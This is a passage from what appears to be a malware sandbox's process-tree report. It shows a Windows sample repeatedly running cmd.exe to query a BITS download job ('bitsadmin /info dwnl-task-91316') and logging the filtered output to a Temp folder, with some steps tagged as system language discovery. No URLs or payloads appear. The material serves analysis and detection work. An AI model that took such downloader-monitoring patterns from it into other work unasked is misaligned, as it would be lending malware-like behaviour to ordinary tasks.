        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3104
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2076
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1528
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3780
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3488
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2736
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1532
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3772
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3956
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:756
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2564
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3764
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3324
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3892
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2084
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3612
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3936
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2292
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2972
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3744
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1840
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1836
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3664
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3432
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2732
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2280
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3492
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1668
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2636
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1492
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1984
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:316
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1408
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1760
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1312
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1960
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2756
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2696
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2640
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:4072
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2064
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2364
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1980
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2616
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3560
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3444
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2524
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:4048
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1012
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2100
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3816
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3612
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:1412
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3688
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2332
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2732
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3092
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3076
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2124
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:4020
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3012
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3768
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3692
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:4076
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3552
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1896
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2680
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2620
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2276
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:4080
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2228
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1592
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3772
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:756
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2564
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1664
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2180
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3896
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3324
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2304
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1944
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2632
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3912
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3844
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3268
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2292
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1412
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:624
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1688
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3984
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3968
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3132
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3580
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:992
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3240
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4056
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1016
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2844
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1312
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:3532
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:4020
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1008
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2696
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2680
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3056
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:2364
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:4080
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3608
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2620
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1616
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2768
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2664
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1536
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3840
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:4028
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1592
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2192
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3524
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2100
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2648
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2056
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:3260
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2632
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:1604
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:2084
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:988
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:2292
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:2244
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:1600
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bitsadmin /info dwnl-task-91316 | findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools" | findstr /R /V "^$" > "C:\Users\Admin\AppData\Local\Temp\dwnl_91316\log_bits_info.txt"
        5⤵
        
        PID:1488
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /info dwnl-task-91316
        6⤵
        
        PID:4012
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /C:"BITSADMIN version" /C:"BITS administration" /C:"(C) Copyright" /C:"BITSAdmin is deprecated" /C:"Administrative tools"
        6⤵
        
        PID:3856
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /R /V "^$"
        6⤵
        
        PID:3960
    - - C:\Windows\SysWOW64\cmd.exe
        
